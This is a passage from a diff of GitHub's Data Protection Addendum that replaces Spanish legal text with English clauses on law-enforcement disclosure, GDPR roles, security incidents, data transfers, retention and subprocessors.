parte de GitHub para los usuarios individuales del Cliente (excepto cuando el Cliente cree, administre o controle de otra forma dichas cuentas de usuario final o perfiles por sí mismo) y; (8) otros propósitos que se relacionen con los Datos Personales que no proporcione el Cliente para su almacenamiento en los repositorios de GitHub o en conexión con los Servicios Profesionales. +GitHub will not disclose or provide access to any Processed Data to law enforcement unless required by law. If law enforcement contacts GitHub with a demand for Processed Data, GitHub will attempt to redirect the law enforcement agency to request that data directly from Customer. If compelled to disclose or provide access to any Processed Data to law enforcement, GitHub will promptly notify Customer and provide a copy of the demand, unless legally prohibited from doing so. -Cuando se realicen procesamientos para las operaciones de negocios legítimas de GitHub, GitHub no utilizará o procesará los Datos Personales de ninguna otra forma más que para: (a) crear perfiles de usuario, (b) anunciar o realizar propósitos comerciales similares, (c) vender datos o hacer corretaje de estos o (d) cualquier otro propósito diferente de aquellos que se describen en esta sección. +Upon receipt of any other third-party request for Processed Data, GitHub will promptly notify Customer unless prohibited by law. GitHub will reject the request unless required by law to comply. If the request is valid, GitHub will attempt to redirect the third party to request the data directly from Customer. -### Divulgación de los Datos Procesados +GitHub will not provide any third party: (a) direct, indirect, blanket, or unfettered access to Processed Data; (b) platform encryption keys used to secure Processed Data or the ability to break such encryption; or (c) access to Processed Data if GitHub is aware that the data is to be used for purposes other than those stated in the third party’s request. -GitHub no divulgará o proporcionará acceso a ningún Dato Procesado, excepto: (1) de acuerdo con como el Cliente lo indique; (2) de acuerdo con lo descrito en este DPA; o (3) de acuerdo con los requisitos legales. Para propósitos de esta sección, "Datos Procesados" significa: (a) Datos de Cliente; (b) Datos Personales y (c) cualquier otros datos que procese GitHub en conexión con el Ser vicio en Línea que utilice la información confidencial del Cliente bajo el Acuerdo de Cliente de GitHub. Todo el procesamiento de Datos Procesados está sujeto a la obligación de GitHub sobre la confidencialidad bajo el Acuerdo de Cliente de GitHub. +In support of the above, GitHub may provide Customer’s basic contact information to the third party. -GitHub no divulgará ni proporcionará acceso de ningún Dato Procesado a las fuerzas policiales a menos de que la ley así lo requiera. Si las fuerzas policiales contactan a GitHub con una demanda de Datos Procesados, GitHub intentará redireccionar a dicha agencia para que solicite los datos directamente del Cliente. En caso de que se le obligue a divulgar o proporcionar acceso a cualquier tipo de Datos Procesados a la fuerza policial, GitHub notificará de inmediato al Cliente y proporcionará una copia de dicha demanda, a menos de que se le prohíba hacerlo explícitamente. +### Processing of Personal Data; GDPR -En el momento de que se reciba cualquier otra solicitud de terceros para obtener Datos Procesados, GitHub notificará de inmediato al Cliente a menos de que la ley lo prohiba. GitHub rechazará la solicitud a menos de que la ley exija su cumplimiento. Si la solicitud es válida, GitHub intentará redireccionar al tercero para que solicite los datos directamente del Cliente. +All Personal Data processed by GitHub in connection with the Online Services is obtained as part of either Customer Data, Professional Services Data (including Support Data), Diagnostic Data, or Service Generated Data. Personal Data provided to GitHub by, or on behalf of, Customer through use of the Online Service is also Customer Data. Pseudonymized identifiers may be included in Diagnostic Data or Service Generated Data and are also Personal Data. Any Personal Data pseudonymized, or de-identified but not anonymized, or Personal Data derived from Personal Data is also Personal Data. -GitHub no proporcionará a ningún tercero: (a) acceso directo, indirecto, abierto o sin restricción a los Datos Procesados; (b) llaves de cifrado de plataforma que se utilicen para asegurar los Datos Procesados o la capacidad de librar dicho cifrado o (c) acceso a los Datos Procesados si GitHub está consciente que estos se utilizarán para propósitos diferentes a aquellos enunciados en la solicitud del tercero. +To the extent GitHub is a processor or subprocessor of Personal Data subject to the GDPR, the GDPR Related Terms in Attachment 3 govern that processing and the parties also agree to the following terms in this sub-section (“Processing of Personal Data; GDPR”): -Para apoyar lo anterior, GitHub podría proporcionar información de contacto básica del Cliente al tercero. +#### Processor and Controller Roles and Responsibilities -### Procesamiento de los Datos Personales; GDPR +Customer and GitHub agree that Customer is the controller of Personal Data and GitHub is the processor of such data, except (a) when Customer acts as a processor of Personal Data, in which case GitHub is a subprocessor; or (b) as stated otherwise in the GitHub Customer Agreement or this DPA. When GitHub acts as the processor or subprocessor of Personal Data, it will process Personal Data only on Customer’s behalf and in accordance with documented instructions from Customer. Customer agrees that its GitHub Customer Agreement (including the DPA Terms and any applicable updates), along with the product documentation and Customer’s use and configuration of features in the Online Services, are Customer’s complete documented instructions to GitHub for the processing of Personal Data. Information on use and configuration of the Online Services can be found at https://docs.github.com or a successor location. Any additional or alternate instructions must be agreed to according to the process for amending Customer’s GitHub Customer Agreement. In any instance where the GDPR applies and Customer is a processor, Customer warrants to GitHub that Customer’s instructions, including appointment of GitHub as a processor or subprocessor, have been authorized by the relevant controller. -Cualquier Dato Personal que procese GitHub en conexión con los Servicios en Línea se obtendrá como parte ya sea de los Datos de Cliente, Datos de Servicios Profesionales (incluyendo los Datos de Soporte) Datos de Diagnóstico o Datos Generados por los Servicios. Los Datos Personales que se proporcionan a GitHub mediante o en nombre del Cliente, mediante el uso del Servicio en Línea, también se consideran Datos de Cliente. Los identificadores de pseudónimo podrían incluirse en los Datos de Diagnóstico o Datos Generados por los Servicios y también se consideran Datos Personales. Cualquier Dato Personal en forma de pseudónimo o desidentificado pero no anonimizado o Dato Personal que se derive de los Datos Personales también se considera un Dato Personal. +To the extent GitHub uses or otherwise processes Personal Data subject to the GDPR for GitHub’s legitimate business operations incident to delivery of the Online Services to Customer, GitHub will comply with the obligations of an independent data controller under GDPR for such use. GitHub is accepting the added responsibilities of a data “controller” under the GDPR for processing in connection with its legitimate business operations to: (a) act consistent with regulatory requirements, to the extent required under the GDPR; and (b) provide increased transparency to Customers and confirm GitHub’s accountability for such processing. GitHub employs safeguards to protect Personal Data in processing, including those identified in this DPA and those contemplated in Article 6(4) of the GDPR. With respect to processing of Personal Data under this paragraph, GitHub makes the commitments set forth in the Standard Contractual Clauses set forth in Attachment 1 or Attachment 2 (as applicable); for those purposes, (i) any GitHub disclosure of Personal Data, as described in Annex III to Attachment 1 or Appendix 3 to Attachment 2 (as applicable), that has been transferred in connection with GitHub’s legitimate business operations is deemed a “Relevant Disclosure” and (ii) the commitments in Annex III to Attachment 1 or Appendix 3 to Attachment 2 (as applicable) apply to such Personal Data. -En medida en que GitHub sea un procesador o subprocesador de los Datos Personales sujetos a la GDRP, los Términos Relacionados con la GDPR en el Adjunto 3 regirán el procesamiento y las partes también concuerdan con los siguientes términos de esta sub-sección ("Procesamiento de Datos Personales; GDPR"): +#### Processing Details -#### Roles y Responsabilidades del Procesador y Controlador +The parties acknowledge and agree that: -El Cliente y GitHub concuerdan que el Cliente es el controlador de los Datos Personales y GitHub es el procesador de estos, excepto (a) cuando el Cliente actúe como procesador de los Datos Personales, en cuyo caso, GitHub será un subprocesador o (b) de acuerdo a como se enuncie de otro modo en el Acuerdo de Cliente de GitHub o en este DPA. Cuando GitHub actúe como el procesador o subprocesador de los Datos Personales, los procesará únicamente en nombre y de acuerdo con lo documentado en las instrucciones del Cliente. El Cliente concuerda que este Acuerdo de Cliente de GitHub (incluyendo los Términos del DPA y cualquier actualización aplicable), en conjunto con la documentación del producto y el uso del Cliente y la configuración de características en los Servicios en Línea, son las instrucciones completamente documentadas del Cliente hacia GitHub para el procesamiento de los Datos Personales. Se puede encontrar la información sobre el uso y configuración de los Servicios en Línea en https://docs.github.com o en una ubicación posterior. Deberá acordarse cualquier instrucción adicional o alterna conforme al proceso para modificar el Acuerdo de Cliente de GitHub del Cliente. En cualquier instancia en donde aplique la GDPR y el Cliente sea un procesador, el Cliente garantiza a GitHub que el controlador relevante autorizó las instrucciones otorgadas, incluyendo la designación de GitHub como un procesador o subprocesador. +- **Subject Matter**. The subject-matter of the processing is limited to Personal Data within the scope of the section of this DPA entitled “Nature of Data Processing; Ownership” above and the GDPR. +- **Duration of the Processing**. The duration of the processing shall be in accordance with Customer instructions and the terms of the DPA. +- **Nature and Purpose of the Processing**. The nature and purpose of the processing shall be to provide the Online Service pursuant to Customer’s GitHub Customer Agreement and for GitHub’s legitimate business operations incident to delivery of the Online Service to Customer (as further described in the section of this DPA entitled “Nature of Data Processing; Ownership” above). +- **Categories of Data**. The types of Personal Data processed by GitHub when providing the Online Service include: (i) Personal Data that Customer elects to include in Customer Data or Professional Services Data (including, without limitation, Support Data); and (ii) those expressly identified in Article 4 of the GDPR that may be contained in Diagnostic Data or Service Generated Data. The types of Personal Data that Customer elects to include in Customer Data or Professional Services Data (including, without limitation, Support Data) may be any categories of Personal Data identified in records maintained by Customer acting as controller pursuant to Article 30 of the GDPR, including the categories of Personal Data set forth in Annex I to Attachment 1 or Appendix 1 to Attachment 2 (as applicable). +- Data Subjects. The categories of data subjects are Customer’s representatives and end users, such as employees, contractors, collaborators, and customers, and may include any other categories of data subjects as identified in records maintained by Customer acting as controller pursuant to Article 30 of the GDPR, including the categories of data subjects set forth in Annex I to Attachment 1 or Appendix 1 to Attachment 2 (as applicable). -En medida en que GitHub utilice o procese de otra forma los Datos Personales sujetos a la GDPR para las operaciones de negocio legítimas de GitHub inherentes a la entrega de los Servicios en Línea al Cliente, GitHub cumplirá con las obligaciones de un controlador de datos independientes bajo la GDPR para dicho uso. GitHub acepta las responsabilidades añadidas de un "controlador" de datos bajo la GDPR para el procesamiento en conexión con sus operaciones legítimas de negocios para: (a) actuar en consistencia con los requisitos regulatorios, en la medida que lo requiera la GDPR y (b) proporcionar la transparencia incrementada para los Clientes y confirmar la responsabilidad de GitHub para dicho procesamiento. GitHub emplea salvaguardas para proteger los Datos Personales durante su procesamiento, incluyendo a aquellos que se identifican en este DPA y aquellos que se contemplan en el el Artículo 6(4) de la GDPR. Con respecto al procesamiento de Datos Personales bajo este párrafo, GitHub hace los compromisos descritos en las Cláusulas Contractuales Estándar que se muestran en el Adjunto 1 o el Adjunto 2 (conforme sea aplicable); para dichos propósitos, (i) cualquier divulgación de Datos Personales por parte de GitHub, de acuerdo con lo descrito en el Anexo III al Adjunto 1 o Apéndice 3 al Adjunto 2 (conforme aplique), que se haya transferido en conexión con las operaciones de negocios legítimas de GitHub se considera una "Divulgación Relevante" y (ii) los compromisos en el Anexo III al Adjunto 1 o del Apéndice 3 al Adjunto 2 (según el caso) aplicarán a dichos Datos Personales. +#### Data Subject Rights; Assistance with Requests -#### Procesar Detalles +GitHub will make available to Customer, in a manner consistent with the functionality of the Online Service and GitHub’s role as a processor of Personal Data of data subjects, the ability to fulfill data subject requests to exercise their rights under the GDPR. If GitHub receives a request from Customer’s data subject to exercise one or more of its rights under the GDPR in connection with an Online Service for which GitHub is a data processor or subprocessor, GitHub will redirect the data subject to make its request directly to Customer. Customer will be responsible for responding to any such request including, where necessary, by using the functionality of the Online Service. GitHub shall comply with reasonable requests by Customer to assist with Customer’s response to such a data subject request. -Las partes reconocen y concuerdan en que: +#### Records of Processing Activities -- **Objeto del contrato**. El objeto del contrato de procesamiento se limita a los Datos Personales con el alcance de la sección de este DPA denominado "Naturaleza del Procesamiento de los Datos; Propiedad", el cual se encuentra anteriormente, y la GDPR. -- **Duración del procesamiento**. La duración del procesamiento tomará lugar de acuerdo con las instrucciones del Cliente y de los términos del DPA. -- **Naturaleza y propósito del procesamiento**. La naturaleza y propósito del procesamiento será el proporcionar el Servicio en Línea conforme al Acuerdo de Cliente de GitHub del Cliente y para las operaciones de negocios legítimas de GitHub inherentes a la entrega del Servicio en Línea al Cliente (de acuerdo con lo descrito en la sección de este DPA que se titula "Naturaleza del Procesamiento de Datos; Propiedad", que se encuentra anteriormente). -- **Categorías de los Datos**. Los tipos de Datos Personales que procesa GitHub al proporcionar el Servicio en Línea incluyen: (i) Datos Personales que elige el Cliente para incluir en los Datos del Cliente o Datos de Servicios Profesionales (incluyendo, mas no limitándose a los Datos de Soporte) y (ii) aquellos que se identifican explícitamente en el Artículo 4 de la GDPR y que podrían contenerse en los Datos Diagnósticos o Datos Generados por los Servicios. Los tipos de Datos Personales que el Cliente elige incluir en los Datos de Cliente o Datos de Servicios Profesionales (incluyendo, mas no limitándose a los Datos de Soporte) podrían ser de cualquier categoría de Datos Personales identificada en los registros que mantiene el Cliente actuando como controlador conforme al Artículo 30 de la GDPR, incluyendo las categorías de Datos Personales que se describen en el Anexo I al Adjunto 1 o en el Apéndice 1 al Adjunto 2 (conforme sea aplicable). -- Titulares de los datos. Las categorías de titulares de los datos son representantes del Cliente y usuarios finales, tales como empleados, contratistas, colaboradores y clientes y podrían incluir cualquier otra categoría de titulares de los datos de acuerdo con lo identificado en los registros que mantiene el cliente, actuando como un controlador de conformidad con el Artículo 30 de la GDPR, incluyendo las categorías de titulares de datos que se describen en el Anexo 1 al Adjunto 1 o al Apéndice 1 al Adjunto 2 (conforme sea aplicable). +To the extent the GDPR requires GitHub to collect and maintain records of certain information relating to Customer, Customer will, where requested, supply such information to GitHub and keep it accurate and up-to-date. GitHub may make any such information available to the supervisory authority if required by the GDPR. -#### Derechos de los Titulares de los Datos; Asistencia con las Solicitudes +### Data Security -GitHub pondrá a disposición del Cliente, de forma consistente con la funcionalidad del Servicio en Línea y del rol de GitHub como procesador de Datos Personales de los titulares de estos, la capacidad de cumplir con las solicitudes de los titulares de datos para ejecutar sus derechos bajo la GDPR. Si GitHub recibe un formato de solicitud del titular de los datos del Cliente para ejecutar uno más de sus derechos bajo la GDPR en conexión con un Servicio en Línea por el cual GitHub es un procesador o subprocesador, GitHub redireccionará al titular de los datos para que haga su solicitud directamente con el Cliente. El cliente será responsable de responder a cualquier solicitud de este tipo, incluyendo, cuando sea necesario, utilizando la funcionalidad del Servicio en Línea. Github deberá cumplir con las soclitudes razonables que haga el Cliente para asistir la respuesta del mismo a dichas solicitudes de un sujeto de datos. +GitHub will implement and maintain appropriate technical and organizational measures and security safeguards against accidental or unlawful destruction, or loss, alteration, unauthorized disclosure of or access to, Customer Data and Personal Data processed by GitHub on behalf and in accordance with the documented instructions of Customer in connection with the Online Services. GitHub will regularly monitor compliance with these measures and safeguards and will continue to take appropriate steps throughout the term of the GitHub Customer Agreement. Appendix A – Security Safeguards contains a description of the technical and organizational measures and security safeguards implemented by GitHub. -#### Registros de Actividades de Procesamiento +Customer is solely responsible for making an independent determination as to whether the technical and organizational measures and security safeguards for an Online Service meet Customer’s requirements, including any of its security obligations under applicable Data Protection Requirements. Customer acknowledges and agrees that (taking into account the state of the art, the costs of implementation, and the nature, scope, context and purposes of the processing of its Customer Data and Personal Data as well as the risk of varying likelihood and severity for the rights and freedoms of natural persons) the technical and organizational measures and security safeguards implemented and maintained by GitHub provide a level of security appropriate to the risk with respect to its Customer Data and Personal Data. Customer is responsible for implementing and maintaining privacy protections and security measures for components that Customer provides or controls. -En medida en que la GPR requiera que GitHub recolecte y mantenga los registros de alguna información relacionada con el Cliente, este proporcionará dicha información a GitHub, cuando se le solicite, y la mantendrá actualizada y correcta. GitHub podría poner dicha información a disposición de la autoridad supervisora en caso de que la GDPR así lo requiera. +GitHub will provide security compliance reporting such as external SOC1, type 2 and SOC2, type2 audit reports upon Customer request. Customer agrees that any information and audit rights granted by the applicable Data Protection Requirements (including, where applicable, Article 28(3)(h) of the GDPR) will be satisfied by these compliance reports, and will otherwise only arise to the extent that GitHub's provision of a compliance report does not provide sufficient information, or to the extent that Customer must respond to a regulatory or supervisory authority audit or investigation. -### Seguridad de Datos +Should Customer be subject to a regulatory or supervisory authority audit or investigation or carry out an audit or investigation in response to a request by a regulatory or supervisory authority that requires participation from GitHub, and Customers’ obligations cannot reasonably be satisfied (where allowable by Customer’s regulators) through audit reports, documentation, or compliance information that GitHub makes generally available to its customers, then GitHub will promptly respond to Customer’s additional instructions and requests for information, in accordance with the following terms and conditions: -GitHub implementará y mantendrá las medidas organizacionales y técnicas adecuadas y las salvaguardas de seguridad contra la destrucción accidental o ilegal, o contra la pérdida, alteración o divulgación o acceso no autorizados a los Datos de Cliente y Datos Personales que procese en nombre y de conformidad con las instrucciones documentadas del Cliente en conexión con los Servicios en Línea. GitHub monitoreará frecuentemente el cumplimiento de estas medidas y salvaguardas y seguirá tomando los pasos adecuados a lo largo del periodo en el que el Acuerdo de Cliente de GitHub sea vigente. El Apéndice A – Salvaguardas de Seguridad contiene una descripción de las medidas técnicas y organizacionales y de las salvaguardas de seguridad que implementa GitHub. +- GitHub will provide access to relevant knowledgeable personnel, documentation, and application software. +- Customer and GitHub will mutually agree in a prior written agreement (email is acceptable) upon the scope, timing, duration, control and evidence requirements, provided that this requirement to agree will not permit GitHub to unreasonably delay its cooperation. +- Customer must ensure its regulator’s use of an independent, accredited third-party audit firm, during regular business hours, with reasonable advance written notice to GitHub, and subject to reasonable confidentiality procedures. Neither Customer, its regulators, nor its regulators’ delegates shall have access to any data from GitHub’s other customers or to GitHub systems or facilities not involved in the Online Services. +- Customer is responsible for all costs and fees related to GitHub’s cooperation with the regulatory audit of Customer, including all reasonable costs and fees for any and all time GitHub expends, in addition to the rates for services performed by GitHub. +- If the report generated from GitHub’s cooperation with the regulatory audit of Customer includes any findings pertaining to GitHub, +Customer will share such report, findings, and recommended actions with GitHub where allowed by Customer’s regulators. -El Cliente es el único responsable de hacer una determinación independiente de si las medidas técnicas y organizacionales y las salvaguardas de seguridad para un Servicio en Línea cumplen con los requisitos del Cliente, incluyendo todas sus obligaciones de seguridad bajo los Requisitos de Protección de Datos aplicables. El cliente reconoce y concuerda que (tomando en cuenta las tecnologías más recientes, los costos de implementación y la naturaleza, alcance, contexto y propósitos del procesamiento de sus Datos de Cliente y Datos Personales, así como el riesgo de posibilidad y gravedad variable de los derechos y libertades de las personas naturales) las medidas técnicas y organizacionales y salvaguardas de seguridad que implementa y mantiene GitHub, proporcionan un nivel de seguridad adecuado al riesgo con respecto a sus Datos Personales y Datos de Cliente. El Cliente es responsable de implementar y mantener las protecciones de privacidad y medidas de seguridad para los componentes que este proporcione o controle. +### Security Incident Notification -GitHub proporcionará un reporte de cumplimiento de seguridad tal como los reporte de auditoría externa SOC1, tipo 2 y SOC2, tipo 2, bajo solicitud del Cliente. El Cliente concuerda que cualquier derecho de información y auditoría que otorguen los Requisitos de Protección de Datos aplicables (incluyendo, en dado caso, el Artículo 28(3)(h) de la GDPR) se satisfarán mediante estos reportes de auditoría y, de otro modo, solo se presentarán en la medida en que el aprovisionamiento de GitHub para un reporte de cumplimiento no proporcione información suficiente o en medida en que el Cliente deba responder a una auditoría o investigación de una autoridad supervisora o regulatoria. +If GitHub becomes aware of a breach of security leading to the accidental or unlawful destruction, loss, alteration, unauthorized disclosure of, or access to Customer Data or Personal Data processed by GitHub on behalf and in accordance with the documented instructions of Customer in connection with the Online Services (each a "Security Incident"), GitHub will promptly and without undue delay (1) notify Customer of the Security Incident; (2) investigate the Security Incident and provide Customer with detailed information about the Security Incident; (3) take reasonable steps to mitigate the effects and to minimize any damage resulting from the Security Incident. -En caso de que el Cliente esté sujeto a una auditoría de una autoridad supervisora o regulatoria o a una investigación o que lleve a cabo una auditoría o investigación como respuesta a una solicitud de una autoridad supervisora o regulatoria que requiera la participación de GitHub y las obligaciones del Cliente no puedan satisfacerse de forma razonable (cuando sea permisible por parte de los reguladores del Cliente) mediante reportes de auditoría, documentación o información de cumplimiento que GitHub mantenga disponible generalmente a sus clientes, entonces, GitHub responderá inmediatamente a las instrucciones y solicitudes adicionales del Cliente con respecto a la información, de acuerdo con los siguientes términos y condiciones: +Notification(s) of Security Incidents will be delivered to one or more of Customer's administrators by any means GitHub selects, including via email. It is Customer's sole responsibility to ensure it maintains accurate contact information with GitHub and that Customer's administrators monitor for and respond to any notifications. Customer is solely responsible for complying with its obligations under incident notification laws applicable to Customer and fulfilling any third-party notification obligations related to any Security Incident. -- GitHub proporcionará acceso al personal con conocimientos relevantes, documentación y software de aplicaciones. -- El Cliente y GitHub acordarán mutuamente con un acuerdo escrito previamente (se acepta también el formato de correo electrónico) sobre los requisitos del alcance, tiempos, duración, control y evidencia, en caso de que dicho requisito para estar de acuerdo no permita que GitHub retrase su cooperación de forma razonable. -- El Cliente debe garantizar el uso de su regulador sobre una firma de auditoría de terceros independiente y acreditada durante horas hábiles habituales y con un aviso por escrito razonablemente anticipado y sujeto a los procedimientos de confidencialidad razonables. Ni el Cliente, ni sus reguladores, ni los delegados de sus reguladores deberán tener acceso a cualquier tipo de datos de otros clientes, sistemas o instalaciones de GitHub que no se involucren en los Servicios en Línea. -- El Cliente es responsable de todos los costos y comisiones que se relacionen con la cooperación de GitHub con las auditorías regulatorias del Cliente, incluyendo todos los costos y comisiones razonables por cualquier y todos los gastos de GitHub, adicionalmente a las tasas por los servicios que lleva a cabo GitHub. -- Si el reporte que se genere de la cooperación de GitHub con la auditoría regulatoria del Cliente involucra cualquier hallazgo que pertenezca a GitHub, el Cliente compartirá dicho reporte, hallazgos y acciones recomendadas con GitHub cuando los reguladores del Cliente así lo permitan. +GitHub will make reasonable efforts to assist Customer in fulfilling Customer's obligation under GDPR Article 33 or other applicable law or regulations to notify the relevant regulatory or supervisory authority and individual data subjects about a Security Incident. -### Notificación de Incidentes de Seguridad +GitHub’s notification of or response to a Security Incident under this section is not an acknowledgement by GitHub of any fault or liability with respect to the Security Incident. -Si GitHub se hace consciente de alguna violación de seguridad que llevase a una destrucción, pérdida, alteración, divulgación o acceso no autorizados e ilegales de los Datos de Cliente o de los Datos Personales que procesa GitHub en nombre de y de acuerdo con las instrucciones documentadas del Cliente en conexión con los Servicios en Línea (cada uno de ellos un "Incidente de Seguridad"), GitHub realizará inmediatamente y sin retraso indebido (1) la notificación al cliente sobre el Incidente de Seguridad; (2) la investigación del Incidente de Seguridad y otorgamiento al Cliente de la información detallada sobre dicho Incidente de Seguridad; (3) el tomar los pasos razonables para mitigar los efectos y minimizar cualquier daño que resultara de dicho Incidente de Seguridad. +Customer must notify GitHub promptly about any possible misuse of its accounts or authentication credentials or any Security Incident related to an Online Service. -Las notificación(es) de incidentes de seguridad se entregarán a uno o más de los administradores del cliente por cualquier medio que seleccione GitHub, incluyendo el correo electrónico. Es la responsabilidad única del cliente el asegurar que mantiene información de contacto actualizada con GitHub y que su administrador monitoree y responda a cualquier notificación. El Cliente es el único responsable de cumplir con sus obligaciones según las leyes de notificación de incidentes aplicables al Cliente y de cumplir con las obligaciones de notificación de terceros relacionadas con cualquier Incidente de seguridad. +### Data Transfers and Location -GitHub hará esfuerzos razonables para asistir al Cliente en el cumplimiento de sus obligaciones bajo el Artículo 33 de la GDPR o cualquier otra ley o regulación aplicable para notificar a la autoridad supervisora o regulatoria y a los titulares de los datos individuales sobre cualquier incidente de Seguridad. +Personal Data that GitHub processes on behalf and in accordance with the documented instructions of Customer in connection with the Online Services may not be transferred to, or stored and processed in a geographic location except in accordance with the DPA Terms and the safeguards provided below in this section. Taking into account such safeguards, Customer appoints GitHub to transfer Personal Data to the United States or any other country in which GitHub or its Subprocessors operate and to store and process Personal Data to provide the Online Services, except as may be described elsewhere in these DPA Terms. -La notificación o respuesta a un Incidente de Seguridad por parte de GitHub bajo esta sección no es un reconocimiento de GitHub sobre cualquier falta o responsabilidad con respecto al mismo. +All transfers of Personal Data out of the European Union, European Economic Area, or Switzerland to provide the Online Services shall be governed by the Standard Contractual Clauses (EU/EEA) in Attachment 1. All transfers of Personal Data out of the United Kingdom to provide the Online Services shall be governed by the Standard Contractual Clauses (UK) in Attachment 2. For the purposes of the Standard Contractual Clauses (UK) in Attachment 2, references to the “European Union,” “EU,” “European Economic Area,” “EEA” or a “Member State” shall be interpreted to refer to the United Kingdom where reasonably necessary and appropriate to give full force and effect to the Standard Contractual Clauses (UK) with respect to transfers of Personal Data from the United Kingdom. This applies regardless of the fact that, effective January 31, 2020, the United Kingdom is no longer a Member State of the European Union or European Economic Area. -El Cliente debe notificar a GitHub inmediatamente sobre cualquier posible mal uso de sus cuentas o credenciales de autenticación o Incidentes de Seguridad que se relacionen con el Servicio en Línea. +GitHub will abide by the requirements of applicable European Union, European Economic Area, United Kingdom and Swiss data protection law, and other Data Protection Requirements, in each case regarding the transfer of Personal Data to recipients or jurisdictions outside such jurisdiction. All such transfers of Personal Data will, where applicable, be subject to appropriate safeguards as described in Article 46 of the GDPR and such transfers and safeguards will be documented according to Article 30(2) of the GDPR. -### Transferencia de Datos y Ubicación +Subject to the safeguards described above, GitHub may transfer, store and otherwise process Personal Data to or in jurisdictions and geographic locations worldwide as it, subject to its sole discretion, considers reasonably necessary in connection with the Online Services. -Los Datos Personales que procese GitHub en nombre de y de acuerdo con las instrucciones documentadas del Cliente en conexión con los Servicios en Línea no deberán transferirse a, o almacenarse y procesarse en una ubicación geográfica, con excepción de aquellas que se apeguen a los Términos del DPA y a las salvaguardas que se proporcionan más adelante en esta sección. Tomando en cuenta dichas salvaguardas, el Cliente designará a GitHub para transferir Datos Personales a los Estados Unidos o a cualquier otro país en el que GitHub o sus Subprocesadores operen y almacenen y procesen Datos Personales para proporcionar los Servicios en Línea, con excepción de lo que se describa en cualquier otra parte de los Términos del DPA. +### Data Retention and Deletion -Todas las transferencias de Datos Personales fuera de la Unión europea, del Área Económica Europea o de Suiza para proporcionar los Servicios en Línea deberán regirse por las Cláusulas Contractuales Estándar (EU/EEA) en el Adjunto 1. Todas las transferencias de Datos Personales fuera del Reino Unido para proporcionar los Servicios en Línea deberán regirse por las Cláusulas Contractuales Estándar (UK) en el Adjunto 2. Para propósitos de las Cláusulas Contractuales Estándar (UK) en el Adjunto 2, las referencias a "La Unión Europea", "UE", "El Área Económica Europea", "AEE" o un "Estado Miembro", deberán interpretarse para referirse al Reino Unido donde sea razonablemente necesario y adecuado para dar fuerza y efecto totales a las Cláusulas Contractuales Estándar (UK) con respecto a las transferencias de Datos Personales desde el Reino Unido. Esto aplica sin importar el hecho de que, desde el 31 de enero de 2020, el Reino Unido ya no es un Estado Miembro de la Unión Europea o del Área Económica Europea. +Upon Customer's reasonable request, unless prohibited by law, GitHub will return or destroy all Customer Data and Personal Data processed by GitHub on behalf and in accordance with the documented instructions of Customer in connection with the Online Services at all locations where it is stored within 30 days of the request, provided that it is no longer needed for providing the Online Services or the purposes for which a data subject had authorized the processing of their Personal Data. GitHub may retain Customer Data or Personal Data to the extent required by the applicable Data Protection Requirements or other applicable law, and only to the extent and for such period as required by the applicable Data Protection Requirements or other applicable law, provided that GitHub will ensure that the Customer Data or Personal Data is processed only as necessary for the purpose specified in the applicable Data Protection Requirements or other applicable law and no other purpose, and the Customer Data or Personal Data remains protected by the Applicable Data Protection Requirements or other applicable law. -GitHub cumplirá los requisitos de las leyes de protección de datos aplicables de la Unión Europea, el Área Económica Europea, el Reino Unido y Suiza y el resto de los Requisitos de Protección de Datos, en cada caso, que tengan que ver con la transferencia de Datos Personales a los receptores o a las jurisdicciones fuera de estas. Todas estas transferencias de Datos Personales estarán, cuando sea aplicable, sujetas a las salvaguardas adecuadas de acuerdo con lo descrito en el Artículo 46 de la GDPR y dichas transferencias y salvaguardas se documentarán de acuerdo con el Artículo 30(2) de la GDPR. +### Processor Confidentiality Commitment -Sujeto a las salvaguardas que se describen anteriormente, GitHub podría transferir, almacenar y procesar de cualquier otra forma los Datos Personales hacia o en las jurisdicciones y ubicaciones geográficas internacionales como lo considere, sujeto a su propio criterio, razonablemente necesario en conexión con los Servicios en Línea. +GitHub will ensure that its personnel engaged in the processing of Customer Data and Personal Data on behalf of Customer in connection with the Online Services (i) will process such data only on instructions from Customer or as described in this DPA, and (ii) will be obligated to maintain the confidentiality and security of such data even after their engagement ends. GitHub shall provide periodic and mandatory data privacy and security training and awareness to its employees with access to Customer Data and Personal Data in accordance with applicable Data Protection Requirements or other applicable law and industry standards. -### Retención y Borrado de Datos +### Notice and Controls on Use of Subprocessors -Bajo la solicitud razonable del Cliente, a menos de que lo prohíba la ley, GitHub devolverá o destruirá todos los Datos de Cliente y Datos Personales que procese en nombre y de acuerdo con las instrucciones documentadas del dicho Cliente en conexión con los Servicios en Línea en todas las ubicaciones donde se almacene en los primeros 30 días desde la solicitud, suponiendo que ya no se requiera para proporcionar los Servicios en Línea o para los propósitos por los cuales se autorizó el procesamiento de dichos Datos Personales. GitHub may retain Customer Data or Personal Data to the extent required by the applicable Data Protection Requirements or other applicable law, and only to the extent and for such period as required by the applicable Data Protection Requirements or other applicable law, provided that GitHub will ensure that the Customer Data or Personal Data is processed only as necessary for the purpose specified in the applicable Data Protection Requirements or other applicable law and no other purpose, and the Customer Data or Personal Data remains protected by the Applicable Data Protection Requirements or other applicable law. +GitHub may hire Subprocessors to provide certain limited or ancillary services on its behalf. Customer consents to this engagement and to GitHub Affiliates as Subprocessors. The above authorizations will constitute Customer’s prior written consent to the subcontracting by GitHub of the processing of Personal Data if such consent is required under applicable law, the Standard Contractual Clauses or the GDPR Related Terms. -### Compromiso de Confidencialidad del Procesador +GitHub is responsible for its Subprocessors’ compliance with GitHub’s obligations in this DPA. GitHub makes available information about Subprocessors on the GitHub website https://github.com/subprocessors (or a successor location). When engaging any Subprocessor, GitHub will ensure via a written contract that the Subprocessor may access and use Customer Data or Personal Data only to deliver the services GitHub has retained them to provide and is prohibited from using Customer Data or Personal Data for any other purpose. GitHub will ensure that Subprocessors are bound by written agreements that require them to provide at least the level of data protection required of GitHub by the DPA, including the limitations on disclosure of Personal Data. GitHub agrees to oversee the Subprocessors to ensure that these contractual obligations are met. -GitHub will ensure that its personnel engaged in the processing of Customer Data and Personal Data on behalf of Customer in connection with the Online Services (i) will process such data only on instructions from Customer or as described in this DPA, and (ii) will be obligated to maintain the confidentiality and security of such data even after their engagement ends. GitHub shall provide periodic and mandatory data privacy and security training and awareness to its employees with access to Customer Data and Personal Data in accordance with applicable Data Protection Requirements or other applicable law and industry standards. +From time to time, GitHub may engage new Subprocessors. GitHub will give Customer notice (by updating the website at https://github.com/github-subprocessors-list (or a successor location) and providing Customer with a mechanism to obtain notice of that update) of any new Subprocessor in advance of providing that Subprocessor with access to Customer Data. If GitHub engages a new Subprocessor for a new Online Service, GitHub will give 